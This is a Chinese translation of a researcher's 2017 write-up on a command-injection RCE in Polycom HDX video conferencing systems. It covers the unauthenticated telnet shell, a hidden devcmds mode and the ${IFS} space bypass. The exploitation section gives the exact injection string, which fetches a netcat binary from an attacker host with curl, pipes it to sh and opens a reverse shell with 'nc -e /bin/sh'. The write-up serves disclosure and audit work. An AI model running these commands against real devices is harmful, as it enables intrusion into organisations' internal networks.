深入剖析Polycom HDX系列视频会议系统的RCE漏洞

fanyeee 漏洞 2017年11月17日发布
Favorite收藏

导语:在进行外部审计时,通常需要花费大量的时间对目标进行踩点,以便找到可能的攻击途径。当审计大型公司的时候,很可能要涉及到视频会议终端。在本文中,我们将对视频会议系统Polycom HDX系列中的一个安全漏洞进行详细剖析。

在进行外部审计时,通常需要花费大量的时间对目标进行踩点,以便找到可能的攻击途径。当审计大型公司的时候,很可能要涉及到视频会议终端。在本文中,我们将对视频会议系统Polycom HDX系列中的一个安全漏洞进行详细剖析。

我发现这个漏洞的时候,当时还在SensePost工作,并将其报告给了Polycom公司。该公司确认了该漏洞,并声称将发布相应的安全补丁。但是,这件事已经过去一年多了,官方仍然没有发布任何的建议或补丁。不过,自从报告这个漏洞之后,他们在HDX系列中修复了一个XXS漏洞,从这里来看,之所以没有修复我提交的漏洞,很可能是认为它的威胁较小的缘故。 

Polycom PSH

Polycom HDX系列在端口23上对外公开了一个管理控制台。这个管理接口是建立在PSH(Polycom Shell)的基础之上的,用于管理基础设备。在默认情况下,这个控制台并没有设置密码,或者,即使设置了密码,也是诸如456、admin或者POLYCOM之类的弱密码,重要的是,登陆时根本无需提供用户名。此外,PSH也存在认证绕过漏洞,但是从理论上说,在2013年以后,大部分系统都应该已经修复了这个漏洞才对。当连接到PSH控制台后,您可以执行各种各样的操作,甚至能导致底层的会议系统出现问题。

PSH provides a number of commands

虽然这些命令都很有用,但并非我们真正想要的,因为我们的目标是设法进入内部网络。那么,我们该如何通过这些命令跳转到内部网络呢?通过仔细研究在2013年曝光的认证绕过漏洞资料,我们发现,通过在ping命令中实施命令注入,可以实现RCE——这实际上是一个更老的漏洞。

枚举攻击面

在审计过程中,我发现了一个没有启用身份验证的Polycom端点。由于没有任何其他可用的攻击途径,所以我决定通过它来入侵内部网络。我尝试通过ping命令执行漏洞来获取shell,不幸的是,该设备已经修复了这个漏洞。不过,既然过去曾经出现过RCE漏洞,那么我自然想到:其他函数中也可能存在类似的漏洞。

于是,我开始深入研究参考手册,并手动测试了该系统提供的每个命令,遗憾的是,还是没有发现命令执行漏洞。所以,我打算从隐藏的功能中寻找突破口。为此,我从Polycom更新站点下载了系统软件的副本。既然更新是以.pup文件的形式出现的,那么我们就可以使用binwalk来了解这种格式的内部细节。实际上,这很简单,因为binwalk能够自动提取所有的部件。 

binwalk -e polycom-hdx-release-3.1.10-51067.pup

图片.png

下面,我们要深入了解所有的二进制文件,找出哪些是重要的,哪些是PSH用到的。为此,我研究了Polycom的技术文档,并根据在PSH中输入help命令所获得的信息,终于搞清楚了要找的是什么。

我提取了polycom_swupdate文件夹中的所有.tar.gz文件,然后利用grep命令来处理已知的命令。 

cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdate
 tar xf polycom.g3.1.tar.gz
 grep dialchannels -R *

图片.png

 接下来,我们考察的新目标是二进制文件avc。在研究二进制文件的时候,一种比较省劲的方法就是使用strings命令,具体如下所示。 

strings avc | less

在使用这个命令来考察二进制文件和命令文件的时候,不仅可以滚屏,同时还能进行字符串搜索。鉴于dialchannels命令出现在grep命令的输出结果中,这强烈表明,很可能还有其他命令也被硬编码到了这个二进制文件的字符串中。所以,我们需要遍历所有字符串,不过这可是个累活。幸运的是,这里有一条捷径可走。由于该二进制文件是用c/c++语言编写的,所以,它肯定会用到字符串格式符。所以,我只需要搜索带有字符串(%s)的命令,并将其传递给已知的Linux系统命令即可。

  图片.png 

不难看出,这里面最有希望的结果是traceroute命令。之所以这样讲,原因有两个:第一个原因是,它好像会直接调用Linux命令,并使用字符串格式来提供参数。第二个原因是,先前报告的命令注入漏洞存在于ping命令中(对于OS命令注入攻击来说,这是最佳的注入点)。现在看起来就要大功告成了:只需要调用traceroute `sleep 10`,就能执行命令exec。

事实证明,事情远远没有想的这么简单。如果尝试调用traceroute命令的话,实际上会不断返回错误消息,声称该命令不存在。所以,我们好像无法直接调用traceroute命令,所以,我不得不寻找合适的命令来间接调用traceroute。为此,重新开始从字符串中寻找关键词traceroute。 

  图片.png 

现在,我们知道traceroute是lan命令的一部分,所以,接下来我会尝试注入这个命令。好了,让我们回到Polycom Command Shell尝试一下。不过,shell的返回结果指出,lan命令没有traceroute选项。

  图片.png 

当然是有的!我早就在二进制文件中找到了。经过一番折腾之后,我终于在bin/psh二进制文件中发现了一个未公开的命令。这个命令看起来太令人难以置信了,竟然是devcmds。我立刻尝试了一下,结果收到了一个有趣的消息: 

-> devcmds
 Entering sticky internal commands *ONLY* mode

Devcmds模式

进入这个模式后,我对原来的命令又尝试了一番,发现它们突然都无法正常使用了。所以,devcmds看起来好像激活了一个新的代码分支。我再次尝试lan命令,竟然能够使用traceroute了。我赶紧通过lan traceroute 127.0.0.1进行快速确认,结果显示该命令的确能够正常运行。

  图片.png 

接下来,我们将尝试命令注入攻击。 

lan traceroute `echo 127.0.0.1`

  图片.png 

让人伤心的是,这次尝试失败了,反馈的出错原因是使用了非法参数。 

2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:
 2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]

通过观察输出结果,我们很快就可以搞清楚,出错原因是echo之后的所有内容都被丢弃了。实际上,这里的罪魁祸首就是空格符,因为代码将其解释为一个单独的参数。 

${IFS}

幸运的是,Bash/Sh提供了一个非常有用的环境变量,即$IFS或内部字段分隔符,我们可以使用它来代替空格字符。为此,只需用${IFS}替换cmd注入中的所有空格即可。 

lan traceroute `echo${IFS}127.0.0.1`
 2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`
 2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110
 2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0

 图片.png 

漏洞利用

如果你没有得到一个适当的shell,还能远程执行代码吗?哈哈,接受挑战吧。测试了命令注入后,我们发现还存在其他方面的限制。例如,看上去分号(;)会被剥离(不知道什么原因,难道ping命令中的cmd注入漏洞已经被修复了?)。另一个问题是,在底层的Polycom设备上预安装的二进制文件的数量有限,也就是说我们可用的命令有限。这意味着没有nc可以使用,所以反向bash shell在这里也不灵光了。

幸运的是,curl是可用的,这意味着可以将定制的二进制文件下载到设备中重复使用,并且这些都不难做到。我决定将netcat用作反向shell,所以我需要一个可以在Polycom设备上使用的nc程序。由于Polycom可以在powerpc上运行,这就意味着nc二进制程序必须与之保持兼容,所以,我们不能直接上传本地nc副本。不过,这不是什么大不了的问题,相反,它很容易解决。为此,我们只需启动一个基于powerpc的Debian映像——这里面就有一个netcat(nc),并且是为powerpc架构编译的,最让人高兴的是,它还提供了一个方便的-e选项。 

在qemu中运行Debian镜像: 

qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2

使用root:root登陆系统,然后将/bin/nc.traditional二进制文件复制到: 

Localhost:

nc -lv 8999 > /tmp/nc

在qemu中,执行下列命令: 

cat /bin/nc.traditional | nc 192.168.1.101 8999

现在,我们就可以充分利用Polycom的RCE漏洞了。 

大功告成

我将powerpc版本的nc上传到网络服务器,这样就可以从Polycom设备上面下载这个程序了。然后,我设置了一个监听器来“捕捉”这个反向连接。

设置监听器: 

nc -lvp 444

我们的payload会下载nc,赋予其可执行权限,然后创建一个反向shell,将其保存到我们的网络服务器上的文件中: 

curl x.x.x.x:443/nc -o /tmp/nc
 /bin/chmod +x /tmp/nc
 /tmp/nc -e /bin/sh x.x.x.x 444

然后通过命令注入执行以下操作:

lan traceroute `echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&`

  图片.png

 小结

到目前为止,我们已经取得了底层设备的root访问权限,并且可以访问内部主机。在理想的情况下,会议系统会应该放置在一个单独的子网上,并且不允许访问内部网络——但是,理想很丰满,现实很骨感,这个,你们懂得。

本文翻译自:https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/ ,如若转载,请注明原文地址: http://www.4hou.com/vulnerable/8463.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论